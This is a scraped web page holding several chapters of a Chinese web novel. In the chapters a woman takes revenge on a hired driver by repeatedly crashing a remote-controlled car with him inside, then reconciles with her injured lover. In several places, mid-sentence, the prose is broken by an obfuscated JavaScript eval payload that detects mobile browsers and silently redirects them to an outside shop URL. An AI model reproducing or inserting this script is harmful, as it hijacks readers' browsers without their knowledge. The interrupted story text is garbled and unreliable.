车子似乎是因为听到了陆斯年的话,微微停顿了下,但片刻后,就以更快的速度冲了出去。 一时间,陆斯年只觉得汗流浃背。 疯了。 为了一个盛景炎,许愿疯了! “斯年哥,我没有开玩笑,你要相信我的操控。” 许愿用空闲下来的修长的手指点了点自己额角,方才继续操控着那辆车,不断地朝着墙体撞去。 陆斯年面如寒霜,但他终究没说什么,只是心神不宁地看向那辆汽车。 竖立在跑道旁的大屏幕忽然闪了闪,显现出个画框。 画框里是司机胡浩在车内的模样,他在哭,被吓得一直大喊着求饶着。 安装在车内的摄像头,展示着他此刻的状况。 许愿早就猜到这个人之所以会答应伪装车祸,要么是因为重病快死了,要么是不怕死。 可她偏偏就是要这么折磨他。 她要让他被恐惧环绕,她也要让这个人体会出车祸是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618057|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么感觉! 许愿摁着操控键,脸上没有任何表情,只是盯着跑道。 头顶的路灯照射下的光芒打在她身侧,她精致明艳的侧脸被这样清冷的光笼罩着,美好却又……危险。 “放过我!放过我!” “我错了!” “别这么对我!啊!!” 胡浩的惨叫声,不断的通过监听器监视器传来。 许愿抬头看着大屏幕,冷笑。 她长得如此漂亮,眼眸里藏着破碎的光,看上去那么需要人呵护,做起事来却这么狠。 强烈的反差感,让盛景炎的助理移不开眼,但助理只觉得痛快。 许愿是在为盛总出气 。 那个人被如此对待,是他活该,是他应得的。 两百米的短距离加速冲撞,如果无法精准地抓住最佳刹车点,一场惨烈的事故在所难免。 可此刻许愿还在加速,她根本没有片刻停留,像是真的完全没有将胡浩的命当命。 车辆离墙体的距离越来越短,死亡近在眼前。 “许愿,现在刹车!会出事的!”陆斯年的嗓音已经沙哑了。 他是真的怕闹出人命,而许愿因为这次的报复被人盯上。 “快刹车!” 他握住许愿空闲的手,用力极猛,死死握住。 许愿却仍然面无表情的摁着加速键。 许愿漆黑眼眸淡漠地看着屏幕中的画面。 胡浩已经崩溃了。 “再加速我就要撞死了!你是疯子!放过我!放过我啊!” 尖锐的长鸣在空气里撕扯。 轮胎摩擦地面,冒出一股股黑烟,车身还在向前滑行,显然已经失控。 惊险万分的场面,除了许愿,几乎是所有人都慌了。 汽车义无反顾地撞向墙体。 这次就连盛景炎的助理都撇开头,不敢再看。 剧烈的碰撞声,车头已经被撞烂,安全气囊弹射出来,护好如同死狗一样瘫在上面,气喘吁吁。 许愿面无表情的看着这一幕,看到胡浩的额头不停渗血,全身都在颤抖。 她歪着头看着这一幕,脑中闪过的是盛景炎倒在血泊中的身影。 第104章 活不下来,那就是他的命 不够,这些还不够。 许愿指尖收缩,再度操纵着车子在跑道上行驶。 胡浩牙齿都在打颤的大喊:“放过我!放过我!” 许愿面无表情恍若未闻。 “阿愿,够了。” 陆斯年握住她的手腕提醒她。 “不够,怎么会够?” 许愿握紧遥控器:“他既然敢做出这种事,就说明他没有把盛景炎的命当成命,既然如此,我为什么还要顾忌他?” “他不是不在意他这条命吗?那就让他去死好了。” 许愿远远望着胡浩惊慌失措的脸,一次又一次的摁着遥控器,看着他在跑道疾驰发出撕心裂肺的哀嚎惨叫。 “阿愿,真的够了。”陆斯年阻止她继续发疯。 许愿抽回自己的手,声音淡漠:“这还只是开始。” “你应该最清楚我的性子,我一直都是这样的人。” 是的,许愿一直都是这样的人。 她是温柔的,但仅限于那些人没有对她和她身边的人造成任何困扰,带来任何麻烦,可这次…… 胡浩动了盛景炎,盛景炎车祸重伤,仅因为接收了她才递交出去的遗物资料。 可以说,盛景炎是为了她受难。 现在的盛景炎是她的恋人,更因为她遭遇车祸,她怎么可能轻松翻篇揭过这件事! 陆斯年面色沉稳,终究是轻叹了口气。 许愿一直把他看作是哥哥,其他事情上许愿总会跟他商量,但是唯有这种事,她从不让步。 陆斯年仍记得两年前在国外薛酒因为一份大单被对立公司绑架,许愿救回薛酒后一整年都在金融商圈围剿那家公司,硬生生让对方一年内市值下降百分之五十之多,最后还是公司总负责人亲自上门道歉求薛酒原谅,许愿才终于停手。 这次盛景炎遭遇车祸,许愿和盛景炎的关系到底如何他并不清楚,但许愿现在明显是已经将盛景炎看作是自己人。 陆斯年不再阻拦。 许愿一次又一次的操控着汽车撞过去,跑道四周的围墙仍然坚固,只有车头整个破碎摇摇晃晃的,车子已经发出尖锐的警报声。 许愿眸光微闪,利用摩擦力和惯性,在墙体前五米处摆尾飘移,陡然过弯。 伴随着轮胎摩擦地面的尖锐长鸣,红色汽车竟90度调头,开向了别处,然后慢慢减速,停留在空地上。 再撞下去车子真的要散架了,许愿已经操纵着车子躲开最后的撞击。 许愿面色沉稳冷静的低头在手机上记录。 “撞击了23次才即将散架,看来车子抗压性能再度提升。” 她完全不在意胡浩会不会在这些撞击中丧命,又或者,她知道胡浩不会死,而她就是缺一个实验对象。 盛景炎的助理整个人都愣住了。 这款新型汽车抗压抗撞的能力,已经远超市面的汽车,且…… 盛景炎的助理将目光落到还缩在车内吐得天昏地暗的胡浩身上。 他的确有受伤,但安全气囊第一时间护住他,他也仅仅是头顶被撞裂了个口子,其他地方多少有擦伤,再没经受更多伤害。 “许小姐,这就是你们研发出来的新车吗?” 助理开始鼓掌,眼睛里闪烁着热切而又憧憬的光芒。 “这辆车只是研制出来测试性能的,后期还需要多次加强优化。” 许愿声音淡淡的,踩着高跟鞋走到那辆几乎已经要被撞到散架的车旁。 有风吹过,她宽松的裙摆在微风中摇曳,而她眉目之间仍带笑意,只是那笑意中藏着的都是凉意。 “胡浩,这滋味怎么样?” 许愿居高临下的看着额头渗血的男人。 她甚至都不肯伸出脚踹他一下,似乎是单纯觉得他脏,不想触碰。 胡浩整个人缩成一团,内心的恐惧几乎已经上升到顶点。 他的确是因为自己重病活不了多久,才会肆无忌惮的去害盛景炎。 他收了傅长海一大笔钱,只为了死后能给自己的家人留下一笔丰厚报酬。 可是这种即将被撞死却又没死,身体像是被逼迫的悬浮冲撞的感觉太可怕,那种感觉让他身体的灵魂几乎都出窍了。 他是真的慌了怕了。 “许小姐,我错了,是我错了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618058|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡浩扑过去想抱住许愿的小腿,许愿冷淡的看他,后退一步。 “你知道你很脏吗?” 许愿话语中都是对她的不屑。 这里的脏不仅指她现在身上的血污,还指代他肮脏浊臭的灵魂。 胡浩扑了个空,许愿眼神冰冷的看他:“如果没打算说出是谁指使你,那就不必开口。” 许愿摆了下手,一早就候在此处的医务人员走过来。 “车子连续撞击二十次以上,给他测试下现在的身体处于什么状态。” 五分钟后,医务人员基本测试出胡浩的情况。 他的身体并没有什么受重伤,最重的也仅是挣扎时磕碰到的额头。 许愿听到这些记录,只是轻微眯眸。 “我知道这次实验测试的结果,那么……车子被撞击二十多次,怎么 可能只受了这点伤呢?盛景炎被撞一次都已经进了云尚,他伤成这样合理吗?” 这话是对盛景炎的助理说的。 助理心领神会,指挥着一直候在身边的保镖:“盛总怎么伤的,也要让他尽数还回来,绝对不能比盛总伤得轻。” 话落,奄奄一息的胡浩被人如同拖拽死狗一样拖行。 许愿眼神冰冷的看着这一幕。 看到对方为胡浩换了辆车,胡浩惊慌的反抗,最终还是被架上了普通的车子,车子急速奔驰,“砰”的发出剧烈撞击声。 许愿却只是面带微笑,玩弄自己柔软的指尖。 “这就叫,罪有应得。” 陆斯年偏头,目光落在许愿身上。 她就这样平静的抱着手臂,看着胡浩浑身渗血的被抬出来。 即将被抬上急救车时,许愿拦下来。 “正常人如果出车祸,救护车不会这么快赶到,这次盛景炎出车祸,若非是保镖一直跟随他,他也不会那么快得到救治。” 许愿歪头看着已经陷入昏迷状态的胡浩,声音嗜冷的开口:“等着,半小时后送他去急救。” 她转身留下单薄的背影。 “能活下来那是他的运气,活不下来,那就是他的命。” 第105章 讨好大舅哥 话落,许愿已经踏上陆斯年的车。 陆斯年跟在她身边,目光一直未从她身上移开。 车窗被关上,车内只有他们两人。 “阿愿,你太极端了。” 陆斯年缓缓开动车子。 不用许愿说,他都知道许愿要去云尚探望盛景炎。 极端? 许愿撩动自己额前的发,她记得盛景炎那人在他身边时,总喜欢整理抚摸她额前细碎的发。 她心尖微微发颤,想到盛景炎倒在血泊中的模样,内心隐隐有股酸涩的痛意。 她捂住胸口,感受到心脏剧烈的“砰咚”跳动着。 “哥。” 她这样喊他。 “如果是你和薛酒被这些人暗害出车祸的话,我只会更疯。” “他们会无缘无故出车祸,会在路上悄无声息的被绑架被卖到偏远地区当一辈子苦力,甚至还会出海的时候掉落深海,被鱼类吞噬骨肉,痛苦的死去……” “如果你们受伤,我会让那些人无声无息的,离开这个世界。” 许愿顶着那张明艳漂亮的脸蛋,吐露出让人毛骨悚然的字眼。 a市上流圈层的人看待许愿,都只当她是朵漂亮的花。 他们觉得她温婉大气,宜室宜家,却没有人知道,她像是生长在地狱冥河两侧的彼岸花,美丽却又阴暗,惑人却又危险。 她的身上不仅带刺,带的还是能要人命的毒刺。 可这样的许愿,陆斯年却完全不害怕。 他微不可查的勾唇笑了笑,温润英俊的脸上都是带着对妹妹的宠溺。 一心一意只为他们的妹妹,他不会害怕,只会疼惜。 “箱子里的都是最新款的礼服珠宝,我知道你喜欢这些,给你挑选的都是亮眼鲜艳的颜色。” 许愿这才笑了笑,只是面上的愁意丝毫不减。 人还在路上,已经接到医院那边打来的电话。 是盛景炎醒了。 “我马上赶过去。” 陆斯年并不多说,提升车速驶向云尚。 才到云尚,许愿就已经提着裙摆小跑进电梯。 陆斯年跟在她身边,见她如此慌张着急的模样,连忙伸出手,扶住她的手臂。 “我知道你担心他,但他既然已经醒了,就说明不会有大问题,放宽心。” 许愿嗯了一声,推开病房的门。 看到盛景炎躺在病床上,那张本来俊美邪肆的面容都显得苍白憔悴。 他此刻身上的麻药劲儿似乎已经过去一些,已经感受到身体的疼痛,眉头轻微皱起。 他伸出自己的手,张拳握拳的动作着。 “在做什么?” 许愿已经走到他身边,她没有坐在床边,她半跪在地上,手捧住他还在输药液的手。 “你来了。” 盛景炎的身体都是麻的,但还是能感受到许愿柔软的指尖抚过自己的掌心,像是轻柔的羽毛扫过心扉,麻麻的痒痒的。 “那份资料,我没有让他们抢走。” 盛景炎声音沙哑,透着温和。 许愿看着他,四目相对,仿佛还能看到男人眼底浮现出的笑意。 “盛景炎,你又在给我下套。” 他又在设计许愿了。 他醒来这么久,见到她的第一眼竟然就是告诉她,没有让人抢走属于苏青莲的遗物资料。 他是刻意的让许愿内疚,然后让她因为那些内疚,对他产生无法割舍的真情。 盛景炎低笑,许愿却捧住他的脸,在他唇角印下一吻。 病房内的灯光本该刺眼灼人的,可此刻的灯光却像是自带柔光,温和恬静的笼罩在他们两人身上。 他的唇瓣干涩柔软。 离得近了,许愿还能嗅到那股淡淡的血腥气,还有他身上明显的药味儿。 “许愿,我现在身上麻药劲儿还没过去。” 盛景炎想抓住她的手却也无力,声音中透着几分无奈:“你可以等明天再吻我。” “美得你。” 许愿抿唇,突然埋头贴在他颈侧,温热的呼吸洒在他脖颈间。 这样亲密的动作,此刻却并不显得多暧昧,只多了几分温情。 “盛景炎。” “我很害怕。” “直到现在,我的身体都在发抖。” “你看。”许愿抬起自己的胳膊。 盛景炎眸色微暗,然后才看向这只纤细的胳膊和纤细优美的手掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618059|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 雪白手背上隐约浮现淡青色的几根血管,手指修长圆润,宛如玉石雕刻地一般。 “你的手很漂亮。” 盛景炎夸赞道,像是刻意的转移话题。 许愿:“……我不是让你看这个。” “那你让我看什么?” 盛景炎身上的麻药劲儿似乎又下去了几分,他便顺势握住这只手,捧在掌心里把玩:“你要我看什么,我仔细看看。” 许愿:“……” 许愿重新抽出自己的手,问道:“盛景炎,你难道没发现我的手一直在抖吗?” 盛景炎扯过他的手,捧在掌心里摸了摸,颔首道:“还真是。” “盛 景炎,都这种时候了你还想着占便宜?” 许愿想生气,却又颇感无力。 他都已经这样了,她还怎么生气? 陆斯年却已经看不下去了。 从进了病房到现在,盛景炎的嘴就没消停。 他是不喜欢傅京礼那么个冷淡的模样,但也不代表要让妹妹跟这么个混不吝的人在一起。 “盛总,我看你伤得并不重。” 陆斯年开口,盛景炎终于将目光转移到他脸上,似乎是感觉到了他眉宇尖淡淡的挑剔和怒意。 “斯年哥哥?” 他既然决定跟许愿在一起,当然将许愿身边的人都调查了一遍,包括这位替许愿管控盛华,盛华明面上的总裁“陆斯年”。 陆斯年:“……” 他克制不住的捏了捏自己的眉心。 他是真觉得盛景炎有病。 许愿都还没这么叫过他,盛景炎就已经开始骚上了。 偏偏这人现在才因为他的妹妹出了车祸受重伤,他但凡是有良知,都不会说出多难听的话。 陆斯年觉得头开始疼了。 他已经有预感,这位妹夫以后绝对会闯出点大大小小的祸的。 “盛景炎,你跟阿愿没有结婚,还不必叫我哥哥。” 盛景炎叹了口气,摇了下许愿的手。 “阿愿,哥哥他是不是嫌弃我了。” 换谁谁不嫌弃? 谁出了车祸术后醒来第一件事,就是讨好大舅哥的! 第106章 天生一对 这种时候了,盛景炎还有心思演。 陆斯年偏头瞥向许愿,那眼神有些无可奈何,似乎是在说“管好你男人”。 盛景炎手机震动了下,是助理发来的信息,告诉他许愿三天后会拍卖苏青莲有关全息的手稿。 他抬眸向许愿看去,开口的语气仍然温和。 “你要卖掉你母亲的手稿。” 许愿毫不意外盛景炎知道这件事。 她亲口对他助理说了这些,他的助理忠于他,怎么可能不告诉他事实真相。 “那份手稿只会给人带来不幸,为什么还要留着。” 许愿如实回答,眉宇间仍然含笑。 的确是只会带来不幸,否则盛景炎也不会这么快就被傅长海针对设计,出车祸躺在医院里。 “意义不同,那是苏女士为你留下来的礼物,留下它。” 盛景炎开口提议。 许愿垂眸失笑:“盛景炎,你这么聪明,应该知道我为什么要卖掉这份手稿。” 她清冷漂亮的眸子里面掠过莹润的微光,唇角挂着笑意,只是那笑意是凉的。 “我不希望有什么东西能伤害到我身边的人,哪怕那是苏女士留下来的遗物,哪怕她还有价值。” “而且,只有这样才能真的报复到傅长海不是吗?” 傅长海不是最想要这份资料吗? 那她就给他。 她已经放话出去要拍卖苏青莲的手稿。 苏青莲曾经的名声确实不算多响亮,但那些研究全息的乃至国外的一些人也知道她,她的手稿绝对有一定的收藏价值。 能参加拍卖会的人非富即贵,傅长海想要拿到这份手稿,也要费一笔钱了。 盛景炎握住她纤细的手腕,声音带着几分诱哄味道一般开口。 “那为什么要将那份真的手稿卖出去,出一份假的手稿给他。” “既然傅长海这么在意这份手稿,他一定会集资拿下手稿的不是吗。” “比起花费大价钱买回一份没用的真手稿,花费大价钱买回一份没用的且伪造的手稿,不是对他打击更大?” 许愿歪头,唇角笑意加深:“你怎么知道我打算卖的不是伪造的手稿。” 这下轮到盛景炎吃惊了。 他抬高眉眼,眼瞳中都是些微的震惊,但震惊过后又觉得理所当然。 他眉眼之间都是意色,眸光掠过她时,笑意都无法收拢一般,眼底都是欣赏和满意。 “你觉得,在手稿里面添加一份不易发现的病毒式代码怎么样?” 许愿提议。 盛景炎挑了挑眉梢:“好主意啊。” 他握紧许愿的手腕,压低声音,诱哄的愈发明显了。 “许愿,你看,我们果然天生一对啊。” 两个人毫不避讳的在陆斯年面前暴露自己的心思,陆斯年已然无视已经在商讨如何设计傅长海的两人,他沉默的坐在沙发上翻看盛华后续合同文件。 他其实没想阻止许愿和盛景炎交往。 如果许愿真的要跟盛景炎一起,他劝不住,也不必劝。 许愿一直都清楚自己在做什么。 盛景炎是她选择的人,他们性格看起来也是相贴的,盛景炎了解许愿的性子,许愿能压住盛景炎的坏心思,这两人不说是天造地设的一对儿,却也是难得的有缘人。 虽然他作为哥哥,是看不上这种爱玩爱闹,还有点爱撒娇的男人。 不过妹妹喜欢就好。 演也是演给许愿看,小情侣之间的把戏罢了。 挺好的,比傅京礼好。 起码不会丈夫不像丈夫……衬得她像个外人。 盛景炎没让许愿陪床,说了会儿话就已经赶着许愿离开,让她回去休息,许愿便也没多待。 许愿都走了,陆斯年更不会多留,随着她一起离开医院。 “确定是他了?” 两人一同离去时,陆斯年还是忍不住问了句。 许愿毫不停顿:“嗯,暂时是他。” “挺好的,跟他在一起,你应该会很开心。” 方才在医院,盛景炎的状态明明很疲惫,却还是在逗着她开心,似乎是要替她驱赶因为车祸带来的阴霾。 像是让她知道这场车祸没有给他带来任何影响。 这个时间让许愿回去,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618060|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是想让她好好休息,更多的原因是……麻药劲儿应该彻底过去了。 他很疼。 疼得几乎控制不住自己的表情,静不下心再去演去装,去哄她开心。 与其让她看到他那副狼狈又因为疼痛而痛苦的模样,倒不如让她离开。 这一点,盛景炎做得很对。 是男人,就不该让自己的爱人为他着急担心。 许愿又何尝不知道这些呢? 她已经走出云尚医院大楼,抬头时顺着盛景炎所在的窗口看去。 窗户还在闪着模糊的亮光,男人倚靠在窗口,看似是闲散的姿态,似乎正向她这个方向张望。 许愿眉眼弯了弯。 不论盛景炎是不是真的爱她,他就是能给她一种她被全心全意爱着的错觉假象。 玻璃上被男人画上了 一颗爱心,讨好她似的。 神经病。 许愿在心里暗暗的骂了他一句,然后抬起手比了个心,回应了那个车祸伤重还要在窗户上画心心演她的神经病。 陆斯年在一旁看完全程。 这两个人……怎么说呢? 真是一个愿打,一个愿挨了。 陆斯年开车送许愿回公寓。 车子开到公寓,未等许愿下车,陆斯年就已经透过车窗看到另一辆陌生的车。 “阿愿,那是不是傅京礼。” 陆斯年出声询问。 许愿明显顿了下,视线向外移动,便已然对上男人带着几分危险的深沉眼神,带着几分疏离和与生俱来的高高在上。 是傅京礼。 “哥,我去见他。” 她和陆斯年的关系傅京礼完全不清楚,她也不想早早暴露自己的身份,所以没打算让陆斯年出面。 陆斯年明白她的意思,微微颔首。 许愿解开安全带下车。 男人似乎在这里已经等了一段时间,脚边散落着不少烟头,凑近了就能嗅到男人身上明显的烟味儿,熏得她有点反胃。 她捂住自己的小腹走近时,都忍不住皱眉。 “这么晚了,傅总来找我做什么?” 第107章 从来没有看清过你 “爷爷给了你什么?” 傅京礼开口质问。 许愿抱着双臂看他,唇角带着柔柔的微笑。 “傅爷爷给我的,总不会是属于傅家的东西,我这样回答,傅总应该明白不该继续问下去了。” 傅京礼眸光冰冷,声音中都是冷意:“不论那是不是属于你的东西,你都该知道,到了老爷子手里的东西,就不会被人轻易拿回去,哪怕那东西本该属于你。” 这是提醒,也是警告。 许愿眸光闪了闪,唇角的笑意都变冷了。 “所以傅总来这里,就是为了提醒我这些?” “那我只能告诉你,属于我的东西,不论放在谁那里,或者被谁暂且抢去,未来我都会抢回来。” 两人此刻有点针锋相对的意思。 她已经变了太多。 短短时间内,从那个温婉体贴的傅太太,变成现在这个明艳张扬却又咄咄逼人的“许经理”。 傅京礼看着面前明明带着笑,却浑身散发冷意的女人。 她是他的前妻,却也是让他感觉陌生的女人。 “我来找你,是有其他事要告诉你。” 许愿抬眸看他,似是等着他的回答。 “你想说什么?” “今天这场车祸,盛景炎完全可以避免。” 傅京礼淡淡道:“你不会以为,按照盛景炎的手段,真的会被这场小车祸伤到吧?” “他出行身边都有随行的保镖,你真的相信那些人没有注意到那辆疾行而来的车,又或者真的拦不住吗?” “他们没有阻拦,因为是盛景炎想要受伤,这是盛景炎的苦肉计。” 是啊。 盛景炎这种人心思如此重,这么多年卧薪尝胆、扮演风流浪子,没让人抓到把柄,一朝上位的男人,怎么可能会被人如此简单的就伤到? 盛景炎不知道这些吗? 又或者说,盛景炎猜不到这些吗? 盛景炎当然猜到了,就是因为猜到了,所以才如此迅速的先将许愿送回家,然后独自遭遇这场车祸。 是苦肉计,却也想知道许愿得知他重伤后给出的反应。 他每走一步,都在算计。 万幸,许愿做出的回应没有让他失望。 许愿选了他,而非苏青莲那份手稿。 “傅京礼。” 许愿垂眸,连着低笑几声。 “我比你更了解盛景炎,我当然知道他在伪装。” “可这有什么错呢?” 许愿歪头看他,吐露出有些残忍的事实真相。 “盛景炎以伤害他自己为代价达到让我心痛的目的,受伤的是他,不是我。” “你能明白吗。” 许愿当然清楚傅京礼来见她,告诉她这些事实真相,是为了什么。 他要告诉她,盛景炎也只是个满口谎言的伪君子。 他想说,盛景炎和他没什么分别。 可是……差太多了。 傅京礼的那些冷遇冷待,乃至纵容许宁发疯,那些伤害都是真真切切的全都加注到许愿身上的。 傅京礼的伤害,只伤害到她。 盛景炎的伤害,只伤害了他自己。 这就是两人之间最本质的区别。 最初,她真的以为盛景炎躲不过逃不开,但见过盛景炎一直随行的秘书后,她就知道盛景炎在装在演。 那她就陪他装、陪他演。 他要发疯,她就陪着。 至于胡浩? 他既然敢接下傅长海的单子,那就应当付出代价。 这就是为什么许愿后期要将手稿换成赝品的原因。 盛景炎演戏,她陪着对戏。 两人都心思重,彼此都能明白却也都不点破,将所有的错推到傅长海和胡浩身上。 他们两个能有什么错? 若非是傅长海贪婪狠心,也轮不到盛景炎要去演一出苦情戏了。 傅京礼瞳眸幽深,语气加重:“许愿,盛景炎一直在撒谎,你玩不过他的。” 许愿眉眼轻微弯起。 “我看到的是他不会伤害我,至于谁玩谁,那就要看以后了。” 许愿长指勾弄着自己肩侧的发:“你又怎么知道这不是我们之间的情趣。” “更何况,盛景炎撒谎,伤害他自己……若是以后我爱上他,说不定还会为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618061|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此生气心痛,但现在吗?” 许愿吐露出冰冷的字眼:“伤的是他自己的身体,疼的是他,我当然不会在意。” 内心并不是完全不在意,但她不会在傅京礼面前露怯。 夜风并不凉,还带着点微微的热意,此刻吹拂而来,吹散她额前的碎发,露出那双清冷到不带波澜的眼眸。 像是一块毫无感情的琉璃玉石,再没有了往日内里盛放了星光那般的璀璨耀眼。 傅京礼看着他,只觉眼前的人越来越陌生。 他嗓音带着明显的哑意。 “许愿,我好像从来没有看清过你。” 许愿轻笑反问:“你呢?不也是从没有让我看透过你。” “既然都在隐藏自己,那就不要在离婚后来质问我。” 许愿 转身冲陆斯年轻微点头,傅京礼顺着她的目光看去。 陆斯年端坐在车内,姿态闲散悠然。 他的骨相面容都是上乘的,鼻梁上挂着一副金丝边眼镜,温柔俊美,让人一眼看过去内心闪过的词就是“清风霁月”。 他当然认识陆斯年。 盛华的总裁,陆斯年,之前一直在国外拓展业务,近年才将主公司挪回a市,即将挤进a市排名前几的资本行列。 是名副其实的青年才俊。 “你不担心盛景炎,是因为有了他?” 傅京礼垂眸,眸光晦涩哑声开口。 他似乎是真的怀疑许愿和陆斯年有着亲密的关系。 许愿眼底掠过几分悲伤之意,但面上却丝毫不显。 “傅京礼,在你眼里,是不是我只要跟男人亲近,就是我要换男人?” “你真的以为我人尽可夫吗?” “那你要怀疑的人就太多了,你要怀疑江惊蛰,要怀疑宋野,要怀疑沈略,要怀疑太多的人……” 怎么能不悲伤? 跟傅京礼结婚三年,他还是不够了解她。 三年时间,她对异性一直都是敬而远之。 哪怕是谈合作谈业务,身边都一定会有其他人,就是担心有人背后说闲话,说她背着傅京礼有了男人。 或者说……她靠着身体上位。 第108章 真正的爱人只有盛景炎 “我真正对外承认的爱人,被所有人熟知的唯一的爱人,只有盛景炎。” 她微笑的面对傅京礼,开口吐出杀伤力极大的一句话。 是。 许愿和傅京礼婚姻关系,有谁知道呢? 只有傅家人和上流圈层几个家族的人知晓听说,他们甚至酒席都只摆了几桌,婚纱照……更是傅京礼穿着平时的西装随便拍下的。 没有人在乎他们二人之间的关系,傅京礼不在意,旁人更加不会在意。 所以这三年,没有人称呼她为傅太太,他们都只以为她是傅京礼的秘书。 傅京礼深深的看她一眼,片刻后抿紧唇:“抱歉,是我的错。” “的确是你的错。” 许愿后退一步。 “我以为发生那件事后,你就不会再来见我。” 许愿看着他意味深长:“傅总,以后如果不是有工作上的事,你不必来见我。我和盛景炎的事,也跟你再没有关系。” 她就这样,面带笑意的说出冰冷的话语,像是要割裂他们之间的羁绊。 傅京礼看着夜风中的女人,她在微笑,又像是在道别。 恍恍惚惚的,仿佛想到了那日在a大晚宴时,许愿那条被割裂成碎片被她随风而扬的碎片。 那晚的她,站在落地窗边,隔着窗望向他。 他们之间明明距离并不算远,却又好像相隔千山万水。 就像此刻,明明一伸手就能触碰到她,却又无法伸出手…… 傅京礼喉间微微发堵,许久后才不冷不热的嗯了一声。 关于她和陆斯年的关系,他不再问,转身离去,背影却有几分狼狈。 “还喜欢他?” 傅京礼的车子已经开走,许愿的耳边传来陆斯年的声音。 许愿仍然怔愣的站在原地,她明明脸上带着笑,却后知后觉的感觉到凤吹过脸颊,颊边像是有未干的泪水,带来些许凉意。 许愿抬手触到颊边的凉意。 她……哭了吗? 陆斯年不知何时已经走到她身旁。 “哥。” 她声音微哑,手微微握紧。 “我爱了他,不止三年啊……” 那是从她学生时代就开始的漫长的暗恋,是她整个青春都去放肆的追求爱着的男人。 高中时期看到墙壁上的表彰照片,就已经将他整个人印在心底。 一年、两年、三年……五年的暗恋三年的夫妻。 整整付出八年的真情,要怎么轻易收回呢? 有风吹过,仿佛吹散了陆斯年的叹息。 “阿愿,哥哥还在。” 哥哥还在朋友还在,可傅京礼不在了。 真矫情啊。 许愿擦去眼角落下的泪意。 “我没事,我只是觉得不甘心。” “往后,我跟傅京礼,再不会有其他牵绊,我已经选择了盛景炎,以后也只会选择盛景炎。” 手机铃声倏然响起,是盛景炎打来的。 像是踩着点,仿佛知道傅京礼才刚离开一般。 许愿攥紧手机,接听电话。 “到家了吗。” 盛景炎声音不像先前听得那么轻快,带着点哑意。 “在家门口了。” 盛景炎失笑:“许愿,我想再确认一下,你选择了我,对吗。” 他这次毫无掩饰,这句话明晃晃的告诉许愿,他在她身边安插了人,否则不会再傅京礼离开后特地打电话查岗一般的询问。 “你安排在我身边的小麻雀们没有告诉你我最终的选择吗。” 许愿也不跟他装。 盛景炎又在笑,笑着笑着牵动了身上的伤口,痛的脸色微微发白。 “我想听你亲口说选择了我。” 许愿抬头,望向广阔漆黑的夜色,看到无垠的星夜似乎闪烁着星点的光芒。 “是啊,我选择了盛景炎,选择了你。” 他似乎是笑的更开心了,许愿能听到那头盛景炎的助理低呼喊着“出血了,叫医生”这类的话,而罪魁祸首盛景炎还在笑。 笑着笑着就开始无赖。 “阿愿,我好疼啊。” 怎么会不疼呢? 车头都被撞碎了,额角那样大的口子,胸腔也在出血……一个正常人怎么会不疼? 许愿握紧手机,脑海中再度闪过他倒在血泊中的场面,眼前一暗,嗓音沙哑。 “盛景炎,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 